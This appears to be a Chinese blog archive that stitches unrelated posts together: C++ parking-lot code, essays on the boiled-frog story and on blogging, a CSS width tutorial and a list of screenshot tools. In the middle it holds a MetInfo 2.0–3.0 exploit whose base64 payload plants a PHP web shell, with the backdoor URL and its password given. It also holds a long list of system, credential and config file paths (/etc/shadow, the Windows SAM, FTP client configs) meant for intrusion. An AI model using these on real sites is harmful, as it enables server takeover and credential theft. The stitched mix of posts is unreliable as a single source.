c++数据结构编程,停车场管理

终于好了~~中间一个错误,内存分配有问题,原来malloc分配空间太小了~~解决了
/*
 * 停车场管理
 * author:whocares
 * date:20101125
  */
#include<stdio.h>
#include<iostream>
using namespace std;
#include<malloc.h>
const int ParkingAreaSize=2;         //停车场位置数
const int DetourLength=100;			//便道位置数
const int Price=10;
#define ERROR 0;
#define OK 1;
#define OVERFLOW -1;
typedef int Status;
/*
-----------------------停车场定义-------------------------
*/
typedef struct CarInfo{
        int number;
	    int ar_time;
}CarInfo;
typedef struct{
           CarInfo  *base;    //停车场的堆栈底
           CarInfo  *top;    //停车场的堆栈顶
           int ParkingAreaSize_now ;
}ParkingArea;

//停车场操作;
Status InitStack(ParkingArea &L){
         L.base=(CarInfo*)malloc(ParkingAreaSize*sizeof(CarInfo));
         if(!L.base) return OVERFLOW;
         L.top=L.base;
         L.ParkingAreaSize_now=0;
         return OK;
       }

Status Push(ParkingArea &L,CarInfo e){
         *L.top++=e;
         L.ParkingAreaSize_now++;
		 return OK;
       }

Status Pop(ParkingArea &L,CarInfo &e){
        if(L.top==L.base) return ERROR;
        e=*--L.top;
        L.ParkingAreaSize_now--;
        return OK;
       }
Status DestoryStack(ParkingArea &L){
        free(L.base);
        return OK;
       }
/*
--------------------便道定义------------------
*/
typedef struct DetourCarInfo{
    int number;      //汽车车号
    int ar_time;      //汽车到达时间
    struct DetourCarInfo *next;
}DetourCarInfo,*DetourPtr;

typedef struct{
    DetourPtr front;    //便道的队列的对头
    DetourPtr rear;    //便道的队列的队尾
    int DetourLength_now;
}Detour;

//便道操作;
Status InitDetour(Detour &d){
        d.front=d.rear=(DetourPtr)malloc(sizeof(DetourCarInfo)); //这里第一次把DetourCarInfo 写成CarInfo 造成分配空间小的悲剧了
        if(!d.front) return OVERFLOW;
        d.rear->next=NULL;
        d.DetourLength_now=0;
        return OK;
       }
Status EnDetour(Detour &d,CarInfo c){//便道,车辆信息
        DetourPtr p;
        p=(DetourPtr)malloc(sizeof(DetourCarInfo));
        if(!p) return OVERFLOW;
        p->ar_time=c.ar_time;
        p->number=c.number;
        p->next=NULL;
        d.rear->next=p;
        d.rear=p;
        d.DetourLength_now++;
        return OK;
       }
Status PopDetour(Detour &d,CarInfo &c){
        DetourPtr dp;
        if(d.rear==d.front){
           cout<<"*|便道为空!"<<endl;
           return OK;
           }
        dp=d.front->next;
        c.ar_time=dp->ar_time;
        c.number=dp->number;
        d.front->next=d.front->next->next;
        if(d.rear==dp)d.rear=d.front;//如果出便道的是最后一辆车,特殊处理下rear
		free(dp);
		d.DetourLength_now--;
		return OK;
       }

void CarIn(ParkingArea &p,Detour &d,CarInfo c){//停车场,车辆信息
    if(p.ParkingAreaSize_now<ParkingAreaSize){
       Push(p,c);
       cout<< "*|车牌号为"<<c.number<<"的车进入停车场,停在 "<<p.ParkingAreaSize_now<<" 号停车位!"<<endl<<endl;
    }else{
       EnDetour(d,c);
       cout<<"*|停车场已满,车牌号为"<<c.number<<"先停在便道的第"<<d.DetourLength_now<<"个位置上"<<endl<<endl;
     }

}


void CarLeave(ParkingArea &p,ParkingArea &temp,Detour &d,CarInfo c){ //停车场,倒车,便道,离开车的信息
    int cost,time_now;
    time_now=c.ar_time;//当前时间保存
    if(p.ParkingAreaSize_now==0){cout<<"没车了,还离开?"<<endl;return;}
    while(p.top->number!=c.number&&(p.top!=p.base)){//第二次看的生活发现这里有个问题。。思维有点混乱了,要需要的话自己改下吧,不花多少时间
           Pop(p,c);
           Push(temp,c);
         }
    Pop(p,c);
    cost=Price*(time_now-c.ar_time);
    cout<<"*|车牌号为";
    cout<<c.number;
    cout<<"的车离开停车场,离开时间: ";
    cout<<time_now;
    cout<<",在停车场停留时间为:";
    cout<<time_now-c.ar_time;
    cout<<"收费:";
    cout<<cost;
    cout<<"元"<<endl<<endl;
    while(temp.ParkingAreaSize_now){
          Pop(temp,c);
          Push(p,c);
          }
    if((p.ParkingAreaSize_now<ParkingAreaSize)&&(d.DetourLength_now>0)){
         PopDetour(d,c);
         c.ar_time=time_now;
         Push(p,c);
         cout<<"停车场有空位,车牌号为:"<<c.number<<"的车由便道进入"<<p.ParkingAreaSize_now<<"号车道。"<<endl;
         }
}

int main()
    {
     char action;
     CarInfo c;
     ParkingArea parkingAreaInstance,temp;
     Detour   line;
     InitStack(parkingAreaInstance);
     InitStack(temp);
     InitDetour(line);
     while(1)
         {
         cout<<endl;
         cout<<"           --停车场管理系统-- CODE BY WHOCARESU    "<<endl;
         cout<<"---------------------------------------------------"<<endl;
         cout<<"|     A-到达         D-离开        E-退出         |"<<endl;
         cout<<"|                                                 |"<<endl;
         cout<<"|     示例:A:牌号为1的车于5点到达:A 1 5         |"<<endl;
         cout<<"|           D:牌号为1的车于7点离开:D 1 5         |"<<endl;
         cout<<"---------------------------------------------------"<<endl;
         cout<<" 请输入信息: ";
         cin>>action;
         cout<<endl;
         action=toupper(action);
         switch(action)
             {
              case 'A':
                    cin>>c.number>>c.ar_time;
                    CarIn(parkingAreaInstance,line,c);break;        //汽车进车场
              case 'D':
                   cin>>c.number>>c.ar_time;
                   CarLeave(parkingAreaInstance,temp,line,c);break; //汽车出车场
              case 'E':
                    return 0;
              default:
                    cout<<"*|操作码有误,请重新输入!"<<endl;
                    break;
            }
        }
}



青蛙有那么蠢吗?

青蛙有那么蠢吗?

   ——另一个“温水煮青蛙”的故事

         时寒冰

 

    “温水煮青蛙”的著名故事,被很多人引用过。大意是这样的:将

青蛙投入已经煮沸的开水中时,青蛙因受不了突而其来的的高温刺激立即奋力从开水中跳出来得以成功逃生。同样是水煮青蛙实验,把青蛙先放入装着冷水的容器

中,然后再加热。结果就不一样了。青蛙反倒因为开始时水温的舒适而水中中悠然自得。直至发现无法忍高温时,已经心有余而力不足了。被活生生的在热水中热

死。

    青蛙真的有那么蠢吗?

    上个世纪九十年代,北京一位女生物老师,组织全班同学做了一次这样的实验(我认识的一位朋友正好在这个班):

同学们两三位一组,分配一个容器和一只青蛙,文火加热,使水温缓缓升高,以符合“温水煮青蛙”的基本条件。同学们激动而焦急地看着显示水温的温度计和容器

中的青蛙。当温度缓步升到60度时,开始有青蛙跳出。水温到65度的时候,所有容器中的青蛙一个不拉地全部跳出来了。

    女生物老师说:“青

蛙在水温升到60多度后自动跳走,说明它对水温的本能反应并不因为温度变化的快慢而存在大的差异。它们没有蠢到被煮死而不逃离的地步。你们要记住,即便所

有人都认同并且经常说的道理,也可能是错的。那些被社会普遍认定的真理,也可能是谎言。凡事一定要经过亲自实验、调查、思考,不要人云亦云。”

    那位朋友告诉我说:“那次实验改变了他一生,让他懂得理性思考是何等的重要。”

    女生物老师证明了青蛙没有那么蠢,她却忽略了,人却可以蠢到不可思议的程度。学校对她组织的“温水煮青蛙”实验表示了极大的愤怒,因为,这种实验并非教学中安排的内容,与学生的分数没有任何关系。老师据理力争,反而埋下更大隐患,后来学校找借口把她辞退了。

    那位朋友说,他从此再也没有见过这位可敬的老师,他曾经去打听过,也没有结果。

    这是我听到的与众不同的“温水煮青蛙”的故事。我没有去做过类似的实验,但那位朋友讲起此事的眼神,让我相信,他曾经被这个实验震撼,并被老师的话打动。

    如果中国的教育环境,赞赏并鼓励这位老师的教学方式,带出来的孩子,将来该是何等的优秀?孩子们那么喜欢和认同她的教学方式,却不能改变她被逐出校园的命运。

    后来,我无意中与一位外国朋友谈起此事,问他对“温水煮青蛙”怎么看?他耸耸肩,抱歉说从未听说过这个原理,但说会请教做过实验的专家。哦,原来,在我们这里几乎人尽皆知的“温水煮青蛙”故事,并非全球流行。

    “温水煮青蛙”的不难做,但所有的人宁肯直接引用“温水煮青蛙”典故去论证从量变到质变的顺理成章,也不愿意去做任何一点质疑,也包括我自己,至少在听到这个故事以前,我和人们一起认为,青蛙就是那么蠢。

    “温水煮青蛙”的后续故事让我思索了很久。

 

这何尝不是我们这个社会的弊端呢?谎言重复一千遍,所有的人都认为谎言是真理,而与谎言不一样的说法就是荒谬绝伦。或者,几个人凑到一起,为某个说法到底

是真理还是谎言论战得面红耳赤,却没有一个人去实验,让事实说话。人们觉得做实验是浪费时间,是一种愚蠢的行为,而无聊地无休止地争论却是一种享受。

 

中国人更推崇小聪明,即便在决策上,亦显现出这一特征。因为,决策者也是在这样的土壤中长大的。当外国人生产的计算机越来越先进而价格越来越低的时候,我

不知道,我们的决策者是不是在因为中国质量低劣寿命短暂的房屋价格越来越高而喜不自胜,笑到裤子掉到地上还浑然不觉。相比之下,外国人多蠢哪!竟然连在民

生领域敛财易如反掌这样简单的道理都不懂得!

 

电影《阿甘正传》对我的影响非常大,他让我感悟到,人是聪明绝不在投机取巧的技能方面,而在于脚踏实地,在于善良、勤奋、认真、守信和对正义、真理的执著

追求和坚守。后来,我自己也接触到几位像阿甘那样的外国人,他们是那么简单、善良、热心助人。我弟弟在大学时的英语老师,是一位70岁的美国老太太,她的

收入大都用于资助中国贫困孩子上学,暑期的时候她专门去打工,以挣点钱资助更多的孩子读书。2002年的时候,十几位美国朋友在河南资助因为疾病等原因被

遗弃的孤儿,我受报社委派做了一个星期的采访调查,我被那种纯粹的爱心和奉献精神深深打动。他们是那么简单、善良、执著和热心助人。

    虽然我对美国金融集团对外的掠夺和美国政府的一些做法表示愤怒,但是,简单、善良、执著、爱心、奉献精神,却是美国公民社会的主流。这种精神面貌不断激发一个民族勃勃生机,推动它的进步和发展。从那时起,我开始学会分开去看待他们,从不同角度去看人事物。

 

在全球化日益深入的今天,在全球普遍面临资源短缺的今天,国家、民族之间的利益博弈将变得日益激烈,要想真正胜出,就必须靠一个有着良好精神面貌、积极向

上,有着爱心公心、奉献精神、实干精神的公民社会,就必须靠良好机制让优秀人才脱颖而出,由他们而不是由虚伪的政客去与强敌博弈。

 

因为愚蠢或者自私,或者所谓的公仆背叛而在国家利益竞争中处于被动地位的国家,其公众不应该是简单地对强敌充满仇恨,而应该认真反省自身,清算恶化民生、

出卖民族利益者,推动自身制度的进步和完善,通过制度体系的重建,激发起一个民族的不竭动力。与美国的博弈同样如此。我不觉得美国政府或者华尔街的利益集

团有多么深不可测,有多么聪明(他们的行为目的和方式是可以推导、把握的)——中国与美国的竞争败在机制上,中国的机制首先就将大量优秀人才排斥在外,而

留下很多深谙耍弄权术和演技超群之徒与美国的专家团打拼,这些政治演员在与强敌的博弈中娇喘吁吁、气若柔丝,不堪一击是必然的,结局也是必然的。

    我想强调的是,极端的仇视往往容易忽略自身的问题,只有当自身的问题得以修正,我们才能真正发现强敌的软肋,并在竞争中,改变被动局面,甚至在一些方面占据主动或者上风。

    这个“温水煮青蛙”的故事,感染我多年,忍不住写下了上面的话。

           2010年8月10日   

 

以上内容摘自:– 青蛙有那么蠢吗?——另一个“温水煮青蛙”的故事-时寒冰-搜狐博客 –

 

MetInfo2.0-3.0通杀0day

2.0

+poc:

include/common.inc.php?$class2_all_1[0]=[base64_encode(eval php code)]

+Exploit:
/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/PicpOw==

the encoded part is fputs(fopen(”../templates/test.php”,”w+”),””);

backdoor:http://site/templates/test.php password:c

—————————————————————————————–

3.0

+POC:/include/common.inc.php?allclass[0]=[base64_encode(eval php code)]

+Exploit:
/include/common.inc.php?allclass[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/PicpOw==

the encoded part is fputs(fopen(”../templates/test.php”,”w+”),””);

backdoor:http://site/templates/test.php password:c

入侵提权常用路径

1.LINUX常见路径:

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/acce

ss_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径(可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘)

c:windowsphp.ini
c:boot.ini
c:1.txt
c:a.txt

c:CMailServerconfig.ini
c:CMailServerCMailServer.exe
c:CMailServerWebMailindex.asp
c:program filesCMailServerCMailServer.exe
c:program filesCMailServerWebMailindex.asp
C:WinWebMailSysInfo.ini
C:WinWebMailWebdefault.asp
C:WINDOWSFreeHost32.dll
C:WINDOWS7i24iislog4.exe
C:WINDOWS7i24tool.exe

c:hzhostdatabasesurl.asp

c:hzhosthzclient.exe
C:Documents and SettingsAll Users「开始」菜单程序7i24虚拟主机管理平台自动设置[受控端].lnk

C:Documents and SettingsAll Users「开始」菜单程序Serv-UServ-U Administrator.lnk
C:WINDOWSweb.config
c:webindex.html
c:wwwindex.html
c:WWWROOTindex.html
c:websiteindex.html
c:webindex.asp
c:wwwindex.asp
c:wwwsiteindex.asp
c:WWWROOTindex.asp
c:webindex.php
c:wwwindex.php
c:WWWROOTindex.php
c:WWWsiteindex.php
c:webdefault.html
c:wwwdefault.html
c:WWWROOTdefault.html
c:websitedefault.html
c:webdefault.asp
c:wwwdefault.asp
c:wwwsitedefault.asp
c:WWWROOTdefault.asp
c:webdefault.php
c:wwwdefault.php
c:WWWROOTdefault.php
c:WWWsitedefault.php
C:Inetpubwwwrootpagerror.gif
c:windowsnotepad.exe
c:winntnotepad.exe
C:Program FilesMicrosoft OfficeOFFICE10winword.exe
C:Program FilesMicrosoft OfficeOFFICE11winword.exe
C:Program FilesMicrosoft OfficeOFFICE12winword.exe
C:Program FilesInternet ExplorerIEXPLORE.EXE
C:Program Fileswinrarrar.exe
C:Program Files360360Safe360safe.exe
C:Program Files360Safe360safe.exe
C:Documents and SettingsAdministratorApplication Data360Safe360Examine360Examine.log
c:ravbinstore.ini
c:rising.ini
C:Program FilesRisingRavRsTask.xml
C:Documents and SettingsAll UsersStart Menudesktop.ini
C:Documents and SettingsAdministratorMy DocumentsDefault.rdp
C:Documents and SettingsAdministratorCookiesindex.dat
C:Documents and SettingsAdministratorMy Documents新建 文本文档.txt
C:Documents and SettingsAdministrator桌面新建 文本文档.txt
C:Documents and SettingsAdministratorMy Documents1.txt
C:Documents and SettingsAdministrator桌面1.txt
C:Documents and SettingsAdministratorMy Documentsa.txt
C:Documents and SettingsAdministrator桌面a.txt
C:Documents and SettingsAll UsersDocumentsMy PicturesSample PicturesBlue hills.jpg
E:Inetpubwwwrootaspnet_clientsystem_web1_1_4322SmartNav.htm
C:Program FilesRhinoSoft.comServ-UVersion.txt
C:Program FilesRhinoSoft.comServ-UServUDaemon.ini
C:Program FilesSymantecSYMEVENT.INF
C:Program FilesMicrosoft SQL Server80ToolsBinnsqlmangr.exe
C:Program FilesMicrosoft SQL ServerMSSQLDatamaster.mdf
C:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLDatamaster.mdf
C:Program FilesMicrosoft SQL ServerMSSQL.2MSSQLDatamaster.mdf
C:Program FilesMicrosoft SQL Server80ToolsHTMLdatabase.htm
C:Program FilesMicrosoft SQL ServerMSSQLREADME.TXT
C:Program FilesMicrosoft SQL Server90ToolsBinDdsShapes.dll
C:Program FilesMicrosoft SQL ServerMSSQLsqlsunin.ini
C:MySQLMySQL Server 5.0my.ini
C:Program FilesMySQLMySQL Server 5.0my.ini
C:Program FilesMySQLMySQL Server 5.0datamysqluser.frm
C:Program FilesMySQLMySQL Server 5.0COPYING
C:Program FilesMySQLMySQL Server 5.0sharemysql_fix_privilege_tables.sql
C:Program FilesMySQLMySQL Server 4.1binmysql.exe
c:MySQLMySQL Server 4.1binmysql.exe
c:MySQLMySQL Server 4.1datamysqluser.frm
C:Program FilesOracleoraconfigLpk.dll
C:WINDOWSMicrosoft.NETFrameworkv2.0.50727aspnet_state.exe
C:WINDOWSsystem32inetsrvw3wp.exe
C:WINDOWSsystem32inetsrvinetinfo.exe
C:WINDOWSsystem32inetsrvMetaBase.xml
C:WINDOWSsystem32inetsrviisadmpwdachg.asp
C:WINDOWSsystem32configdefault.LOG
C:WINDOWSsystem32configsam
C:WINDOWSsystem32configsystem
c:CMailServerconfig.ini
c:program filesCMailServerconfig.ini
c:tomcat6tomcat6binversion.sh
c:tomcat6binversion.sh
c:tomcatbinversion.sh
c:program filestomcat6binversion.sh
C:Program FilesApache Software FoundationTomcat 6.0binversion.sh
c:Program FilesApache Software FoundationTomcat 6.0logsisapi_redirect.log
c:Apache2Apache2binApache.exe
c:Apache2binApache.exe
c:Apache2phplicense.txt
C:Program FilesApache GroupApache2binApache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:Program FilesQQ2007qq.exe 
c:Program FilesTencentqqUser.db
c:Program FilesTencentqqqq.exe
c:Program FilesTencentqqbinqq.exe
c:Program FilesTencentqq2009qq.exe
c:Program FilesTencentqq2008qq.exe
c:Program FilesTencentqq2010binqq.exe
c:Program FilesTencentqqUsersAll UsersRegistry.db
C:Program FilesTencentTMTMDllsQQZip.dll 
c:Program FilesTencentTmBinTxplatform.exe
c:Program FilesTencentRTXServerAppConfig.xml
C:Program FilesFoxmalFoxmail.exe
C:Program FilesFoxmalaccounts.cfg
C:Program FilestencentFoxmalFoxmail.exe
C:Program FilestencentFoxmalaccounts.cfg
C:Program FilesLeapFTP 3.0LeapFTP.exe
C:Program FilesLeapFTPLeapFTP.exe
c:Program FilesGlobalSCAPECuteFTP Procftppro.exe
c:Program FilesGlobalSCAPECuteFTP Pronotes.txt
C:Program FilesFlas

hFXPFlashFXP.ini 
C:Program FilesFlashFXPflashfxp.exe 
c:Program FilesOraclebinregsvr32.exe
c:Program Files腾讯游戏QQGAMEreadme.txt
c:Program Filestencent腾讯游戏QQGAMEreadme.txt
c:Program FilestencentQQGAMEreadme.txt
C:Program FilesStormIIStorm.exe

 

3.网站相对路径:

/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
../../../index.asp

最佳网页宽度及其兼容实现方法

1.设计网页的时候,确定宽度是一件很苦恼的事。 

以jb51.net为例,根据Google Analytics的统计,半年多以来,访问者的屏幕分辨率一共有81种。最小的分辨率是122×160,这应该是手机;最大的分辨率是3360×1050,天知道是什么设备。 

一张网页要在大小如此悬殊的各种屏幕上,都呈现令人满意的效果,难度可想而知。举例来说,一张400px宽的图片,在800px的屏幕上会占据50%的宽度,而在1920px的屏幕上(Windows Vista的流行设置),只占据20%。 
2. 

目前,常见的屏幕分辨率宽度大概有6种:800px,1024px,1280px,1440px,1680px和1920px。其中,1024px最常见,但是随着大屏幕显示器的流行,更高的分辨率正变得越来越多。 

常见的解决方法有两种: 

第一种:用javascript根据不同的客户端分辨率,选择css样式表文件,具体的做法可以看这里。 

第二种:采用弹性布局(Fluid Width Layout),实现网页宽度的自适应。 

第一种方法的优点是,可以根据不同屏幕分辨率,采用完全不同的布局,缺点是要设计和维护多张样式表,比较麻烦。第二种方法只采用一张样式表,比较省事。 

下文就根据css-tricks上的解决方案,讨论如何实现第二种方法,实际上是很简单的。

3.

首先,网页的缺省宽度,确定为满足1024px宽度的显示器。这不仅因为1024×768是现在最常见的分辨率,还因为这个宽度对网页最合适:1)它放得下足够的内容,足够三栏的布局;2)单行文字不宜太长,1024px已是极限,否则容易产生阅读疲劳;3)在当前的互联网带宽条件下,网页难以采用大分辨率所要求的大尺寸图片。

其次,网页宽度会在780px-1260px的范围内,自动变化,即最小不小于780px,最大不超过1280px。

最后,对于更大的分辨率,网页内容会自动居中。

4.

下面就是CSS文件的写法,只要4行。需要注意的是,这几行的语句都针对整个页面,即body标签或者最外层的那个div区域。

margin: 10px auto;

这一行保证了网页在任何分辨率下,都会居中。

min-width: 780px;
max-width: 1260px;

这二行规定了网页的最小和最大宽度。注意,IE6不支持这二行,即它们在IE6中是无效的。

width:expression(document.body.clientWidth < 782? “780px” : document.body.clientWidth > 1262? “1260px” : “auto”);

这一行是针对IE6的解决方法。它采用了CSS表达式,也可以通过javascript实现。

另外,如果想让内层的各个区块也自动伸缩,它们的宽度可以采用百分比的形式,比如:

#div-left{
width:50%;
}

#div-right{
width:50%;
}

最后的效果和源码下载请查看这里。通过变动浏览器窗口的大小,可以发现网页在780px-1260px的范围内会自动伸缩。

5.

最后,建议大家平时使用计算机的时候,不要盲目采用高分辨率,意义不大。

Source:http://www.jb51.net/web/22867.html

15个截图工具分享

 

浏览器插件/扩展类:

Save as image – 一个小巧的插件,可以让你轻松在Firefox中截取到网页,框架或是任何你想要的部分。

下载地址: http://www.zzx8.com/html/s15199.html

Pearl Crescent Page Saver-截图功能和Save as image相仿,可以把图片保存为jpg或png格式。它还可以自动把截图缩放到一个合适的尺寸。

下载地址: http://www.zzx8.com/html/s15200.html

Picnik for Firefox- 直接到截图传送到Picnik进行裁剪与编辑。

 

下载地址: http://www.zzx8.com/html/s15201.html

Snissa- 一个小巧的截图插件,功能比较简单。

官方地址: http://www.snissa.com

Screengrab!- 可以选择截取整个网页(包括屏幕没有显示出来的部分),目前可视网页或者连同Firefox窗口一并截取。甚至还能用鼠标框选截图范围。

 

下载地址: http://www.zzx8.com/html/s15202.html

ieSnapshotter- 唯一一个为IE截图准备的插件,可以生成截图或缩略图片。

下载地址: http://www.zzx8.com/html/s15203.html

软件类:

SnagIt- 对它没有什么多说的了,应该是截图业的霸主了吧。适合对截图有各种要求的变态级截图达人。

 

下载地址: http://www.zzx8.com/html/s15204.html

FastStone Capture- 又是一款强大的截图工具。通过一个小巧的浮动控制面板完成捕捉活动窗口、活动对象、矩形区域、手绘区域、全屏幕、滚动窗口等任务。麻雀虽小,五脏俱全。

 

下载地址: http://www.zzx8.com/html/s12278.html

WebShot- 一个可以将网页或整个网站拍成照片或缩略图的工具。通过其强大的命令行工具可以自动对多个页面进行抓拍,调整图像大小等。

 

下载地址: http://www.zzx8.com/html/s12277.html

PrintKey- 替代你键盘上的Print Screen SysRq键并赋予它更多的功能。

 

下载地址: http://www.zzx8.com/html/s15207.html

基于网络类:

WebShotsPro- 你想要做的仅仅是输入你想要截图的网站地址。当然,在得到结果之前你可能会排上很长时间的队。毕竟很多人都对这个傻瓜式截图工具有爱。

官方地址: http://www.webshotspro.com

Thumbalizr- 和上面的一样,仅仅输入地址就可以完成截图。但它会提供多种分辨率的截图供你选择。唯一的问题是,这网站经常抽风。

官方地址: http://www.thumbalizr.com

博客行为和博客精神

博客模式作为一种网络行为是人的内在需要的结果,这种群体性的行为导致了利他性的价值。

从本质上来说,博客的行为反映了人性的一个方面:寻求个人价值实现。

作为社会的人,个人价值实现方式在网络出现之后,得到了全新的途径:网络生存。网络生存的个人价值实现和网络的人文环境是无法分开的,就是说,网络的人的价值取决于网络人文环境和个人在网络环境中的行为。

因此,博客的行为从内在的角度看,是个人价值实现,从外在角度看,是网络人文环境中,利他原则的一种要求,就是“我为人人,人人为我”的互利模式。

这种互利模式逐步形成一种约定,这种约定要求博客个体承担这种利他行为的责任。如果博客个体无法持续进行博客行为,博客组织就面临崩溃的局面,而博客的个人价值实现也就失去了基础。因此,作为博客网络生存,这种约定是必须的,是博客的网络人文关系中的核心环节。
互利模式这就是博客精神的来源。

过往大部分对博客精神的诠释都是从利他性的角度出发的,为博客精神的内涵赋予过多的道德含义,其实这是一种以偏概全的倾向。

博客精神应该是从个人价值实现、博客人文环境责任和博客群体价值实现的角度来观察,就不会将博客精神置于一个超越社会学的范畴,变成了一种类似“村民公约”的东西。

